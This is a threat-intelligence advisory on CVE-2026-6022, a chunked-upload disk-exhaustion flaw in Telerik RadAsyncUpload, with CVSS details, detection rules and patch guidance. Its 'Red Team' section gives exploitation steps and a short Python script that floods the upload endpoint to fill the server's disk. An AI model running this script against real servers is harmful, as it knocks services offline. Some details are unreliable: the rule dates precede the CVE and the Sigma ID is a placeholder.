CVE-2026-6022

Executive Summary

CVE-2026-6022 is an uncontrolled resource consumption vulnerability in Progress Telerik UI for AJAX, specifically within the RadAsyncUpload component. The flaw allows an unauthenticated attacker to upload files that cumulatively exceed the configured maximum size limit during chunk reassembly, leading to disk space exhaustion and a denial of service (DoS) condition. The vulnerability has a CVSS score of 7.5 (High) and currently has no public proof-of-concept (PoC) or exploit code available. The vendor has released a patch in version 2026.1.421.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed to exploit the vulnerability.
• User Interaction (UI): None – The attacker does not need any user interaction.
• Scope (S): Unchanged – The impact is confined to the vulnerable component.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): None – No data is altered.
• Availability (A): High – The primary impact is denial of service via disk exhaustion.

Threat Level: High. The vulnerability is easy to exploit remotely without authentication, and while it does not lead to data breach, it can cause significant service disruption.

Deep Dive & Mechanics

The RadAsyncUpload component in Telerik UI for AJAX is designed to handle large file uploads by splitting them into smaller chunks. The vulnerability arises from a missing cumulative size enforcement during the chunk reassembly process. Specifically:

• Chunked Upload Logic: When a file is uploaded in chunks, the server reassembles them into the final file. The component checks the size of each individual chunk against the configured maximum, but it does not track the total size of all chunks combined.
• Exploitation Mechanism: An attacker can send multiple chunks that are each within the allowed size limit, but when reassembled, the total file size far exceeds the configured maximum. This leads to the creation of a very large file on the server's disk.
• Impact: Repeated exploitation can fill the disk space, causing the application or even the entire server to become unresponsive (denial of service).

The vulnerability is classified under CWE-400 (Uncontrolled Resource Consumption). The attack does not require any special privileges or user interaction, making it particularly dangerous for publicly accessible applications.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable implementation likely performs size validation only on individual chunks, not on the cumulative size.

// Vulnerable: Only checks chunk size, not total size
if (chunk.Size > maxChunkSize)
{
    throw new Exception("Chunk too large");
}
// Reassemble without cumulative check
fileStream.Write(chunk.Data, 0, chunk.Data.Length);

Patched Code (Conceptual): The patched version introduces a cumulative size check before reassembly.

// Patched: Tracks total size across all chunks
totalSize += chunk.Size;
if (totalSize > maxFileSize)
{
    throw new Exception("Total file size exceeds limit");
}
fileStream.Write(chunk.Data, 0, chunk.Data.Length);

The official patch is included in Telerik UI for AJAX version 2026.1.421. Users should upgrade to this version or later.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running a vulnerable version of Telerik UI for AJAX (prior to 2026.1.421).
• Network access to the RadAsyncUpload endpoint.

Exploitation Steps:

1. Identify the RadAsyncUpload endpoint (e.g., /Telerik.Web.UI.WebResource.axd?type=rau).
2. Send multiple chunked upload requests, each chunk within the allowed size limit.
3. Ensure the total size of all chunks exceeds the configured maximum.
4. Repeat the process to exhaust disk space.

Example Script (Python):

import requests

url = "https://target.com/Telerik.Web.UI.WebResource.axd?type=rau"
chunk_size = 1024 * 1024  # 1 MB (within typical limits)
total_chunks = 1000  # Total 1 GB

for i in range(total_chunks):
    chunk_data = b"A" * chunk_size
    files = {"file": (f"chunk_{i}", chunk_data, "application/octet-stream")}
    response = requests.post(url, files=files)
    print(f"Chunk {i+1} sent, status: {response.status_code}")

Note: No public exploit code is available at this time. The above is a conceptual example.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusually high number of chunked upload requests from a single IP.
• Track cumulative file sizes per upload session.
• Alert on disk usage spikes.

Defense:

• Apply the vendor patch immediately.
• Implement rate limiting on upload endpoints.
• Use Web Application Firewall (WAF) rules to block excessive chunked requests.
• Monitor disk space and set alerts for thresholds.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Multiple POST requests to /Telerik.Web.UI.WebResource.axd?type=rau with chunked uploads.
  • High volume of data transfer to the upload endpoint.
• File System IOCs:
  • Unexpectedly large temporary files in the upload directory.
  • Rapid decrease in available disk space.
• Log IOCs:
  • Repeated "chunk uploaded" log entries from the same source IP.
  • Disk space warnings in system logs.

Detection Engineering

YARA Rule

rule CVE_2026_6022_RadAsyncUpload_DoS {
    meta:
        description = "Detects potential exploitation of CVE-2026-6022 via chunked uploads"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-6022"
    strings:
        $chunked = "Telerik.Web.UI.WebResource.axd?type=rau" nocase
        $chunk_header = "Content-Range:" nocase
    condition:
        $chunked and $chunk_header
}

Sigma Rule

title: CVE-2026-6022 RadAsyncUpload Chunked Upload DoS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple chunked upload requests to RadAsyncUpload endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains: "Telerik.Web.UI.WebResource.axd?type=rau"
        cs-method: "POST"
    condition: selection | count() by src_ip > 100 in 60 seconds
falsepositives:
    - Legitimate large file uploads
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2026-6022 - RadAsyncUpload Chunked Upload DoS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"Telerik.Web.UI.WebResource.axd?type=rau"; http_uri;
    content:"Content-Range:"; http_header;
    threshold: type both, track by_src, count 100, seconds 60;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Telerik UI for AJAX version 2026.1.421 or later.
2. Workaround: If patching is not immediately possible, disable the RadAsyncUpload component or restrict access to it via firewall rules.
3. Monitoring: Enable detailed logging for upload endpoints and monitor disk usage.

Long-Term Measures:

• Implement server-side cumulative size validation for all file uploads.
• Use a Web Application Firewall (WAF) to rate-limit upload requests.
• Regularly review and update third-party components.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.

{/* [Security Hash: 711C7235CDF3EE43AC1C29FF] */}